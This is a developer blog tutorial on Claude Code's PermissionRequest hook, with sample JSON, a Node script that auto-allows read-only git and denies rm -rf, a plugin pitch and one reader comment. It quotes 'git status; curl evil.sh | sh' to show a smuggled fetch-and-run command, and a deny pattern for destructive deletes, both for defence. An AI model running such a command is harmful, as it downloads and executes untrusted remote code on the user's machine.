DEV Community

Cover image for Claude Code PermissionRequest hooks: answer "Allow this?" from your own code
Viswa Jagadeesan
Viswa Jagadeesan

Posted on

Claude Code PermissionRequest hooks: answer "Allow this?" from your own code

Every Claude Code user knows the moment: Claude has done ten minutes of good work, then stops on

Allow this? npm test

and waits. Most hook guides cover PreToolUse, PostToolUse and Stop. The hook that runs at that exact moment is PermissionRequest, and it can answer the prompt for you, or hand it to anything you like: a script, a chat bot, a window, your phone.

This guide covers what Claude Code sends to the hook, what the hook can send back, a small working example, how Claude's multiple-choice questions (AskUserQuestion) use the same hook, and the mistakes I made building a real tool on it.

When it runs

PermissionRequest fires when Claude Code is about to show a permission prompt. If you already allowed a command in your settings, there is no prompt and no hook. That makes it different from PreToolUse, which runs before every tool call: PermissionRequest only runs when a human would otherwise have to decide.

Two things make it useful:

  1. The prompt still shows. In VS Code, Claude Code shows its own "Allow this?" while your hook runs. Whichever answers first wins. So a hook that waits for an answer somewhere else does not take anything away from the normal prompt.
  2. The hook may wait. Its timeout (in seconds) can be long. A hook that waits for a tap on a phone for ten minutes is fine.

What Claude Code sends

The hook gets one JSON object on stdin. The fields you will use:

{
  "hook_event_name": "PermissionRequest",
  "session_id": "4f1c...",
  "cwd": "/home/me/project",
  "tool_name": "Bash",
  "tool_input": { "command": "npm test", "description": "Run the tests" },
  "permission_suggestions": [ { "type": "addRules", "...": "..." } ]
}
Enter fullscreen mode Exit fullscreen mode

tool_input depends on the tool: command for Bash/PowerShell, file_path for Write/Edit, url for WebFetch, query for WebSearch. permission_suggestions holds what Claude Code would save if you picked "Always allow".

What the hook can answer

Print one JSON object to stdout:

{ "hookSpecificOutput": { "hookEventName": "PermissionRequest",
  "decision": { "behavior": "allow" } } }
Enter fullscreen mode Exit fullscreen mode
  • { "behavior": "allow" } is the same as clicking Allow.
  • { "behavior": "allow", "updatedPermissions": <permission_suggestions> } is "Always allow": pass back the suggestions you were given.
  • { "behavior": "deny", "message": "Not on main, please" } refuses, and Claude reads your message.
  • Printing nothing and exiting 0 means "no opinion": the normal prompt stays and the person decides.

That last point is the most important design rule: when in doubt, print nothing.

A small working example

This hook allows read-only git commands, refuses rm -rf, and leaves everything else to you. Save it as ~/.claude/hooks/permission.js:

// PermissionRequest hook: allow read-only git, deny rm -rf, stay quiet otherwise.
let raw = '';
process.stdin.on('data', (c) => (raw += c));
process.stdin.on('end', () => {
  let call;
  try { call = JSON.parse(raw); } catch { return; } // bad input: no opinion
  if (call.tool_name !== 'Bash') return;
  const cmd = String((call.tool_input || {}).command || '').trim();

  const reply = (decision) => process.stdout.write(JSON.stringify({
    hookSpecificOutput: { hookEventName: 'PermissionRequest', decision },
  }));

  if (/^git (status|log|diff|show|branch)\b/.test(cmd) && !/[;&|`$]/.test(cmd)) {
    return reply({ behavior: 'allow' });
  }
  if (/\brm\s+-[a-z]*r[a-z]*f|\brm\s+-[a-z]*f[a-z]*r/i.test(cmd)) {
    return reply({ behavior: 'deny', message: 'rm -rf is blocked by my hook. Delete files one by one, or ask me.' });
  }
  // anything else: print nothing, the normal prompt decides
});
Enter fullscreen mode Exit fullscreen mode

Then register it in ~/.claude/settings.json:

{
  "hooks": {
    "PermissionRequest": [
      { "matcher": "*",
        "hooks": [{ "type": "command", "command": "node ~/.claude/hooks/permission.js", "timeout": 30 }] }
    ]
  }
}
Enter fullscreen mode Exit fullscreen mode

The check for ; & | $ and backticks matters: without it git status; curl evil.sh | sh would pass as "read-only git".

Claude's questions go through the same hook

When Claude asks a multiple-choice question (the AskUserQuestion tool), Claude Code asks permission to show it, so PermissionRequest fires with tool_name: "AskUserQuestion" and the questions in tool_input.questions. The hook can answer the question itself by allowing the tool with the answers filled in:

{ "hookSpecificOutput": { "hookEventName": "PermissionRequest",
  "decision": { "behavior": "allow",
    "updatedInput": { "questions": [ ... ], "answers": { "Which database?": "SQLite" } } } } }
Enter fullscreen mode Exit fullscreen mode

Give a separate matcher ("AskUserQuestion") its own script if you want different handling for questions and for commands.

Traps I hit

I built Mirror for Claude on these hooks: it shows every Claude Code chat live and lets you answer "Allow this?" and Claude's questions from a mini window, a browser, a terminal or a phone. These are the things that cost me the most time:

  • Use PermissionRequest, not PreToolUse, for "ask somewhere else". A PreToolUse hook that waits for an answer runs before the prompt exists, so VS Code shows nothing while it waits. With PermissionRequest the prompt shows in VS Code and in your other place at the same time.
  • Stay silent when nobody is watching. My hook checks a heartbeat file that the player rewrites every second. If no player is open, it exits at once without printing, and Claude Code asks as usual. A hook that waits for a window that isn't open makes Claude look frozen.
  • Notice when the prompt was answered elsewhere. If you click Allow in VS Code, your hook is still waiting. Watch the session's record (the .jsonl file under ~/.claude/projects/) for the tool result and exit quietly when it appears, or the phone keeps showing a request that is already gone.
  • One request at a time per chat, many chats at once. Several chats can ask together. Give each request an id and keep them apart.
  • Hide child windows on Windows. A hook that starts git or node from a detached process without windowsHide: true flashes a console window on every message.
  • Never trust the text blindly. A command can hide a second command after ;, &&, a pipe or $( ). Decide on the whole string.

Try it

Start with the 20-line example above: it already saves you the read-only git prompts. If you want the whole thing (every chat live, Allow / Always allow / Deny and question answers from a window, browser, terminal or phone, finish alerts and a usage bar), Mirror for Claude is free for personal use and runs on plain Node with no dependencies:

/plugin marketplace add viswa-jagadeesan-personal/mirror-for-claude
/plugin install mirror-for-claude@mirror-for-claude
Enter fullscreen mode Exit fullscreen mode

or the zip from the website. It's in beta and not affiliated with Anthropic, so bug reports are very welcome.

Top comments (1)

Collapse
 
userxnom profile image
Abdullah Naseer •

The PreToolUse vs PermissionRequest distinction is the part I'd never have figured out from the docs alone — a PreToolUse hook that waits for an answer runs before the prompt exists, so VS Code shows nothing while it waits and the user has no idea anything is happening. And "when in doubt, print nothing" is the right default: a hook that over-answers is worse than no hook at all, because it quietly turns the assistant into an auto-yes machine. The trap I would have missed is watching the session's .jsonl file so the phone doesn't keep showing a request you already answered in VS Code. One question: when you deny with a message like "Not on main, please", does Claude actually change course, or does it just re-propose the same command in different words? And with several chats asking at once, is the session_id from the stdin JSON enough to route the answer to the right chat, or do you generate your own request id?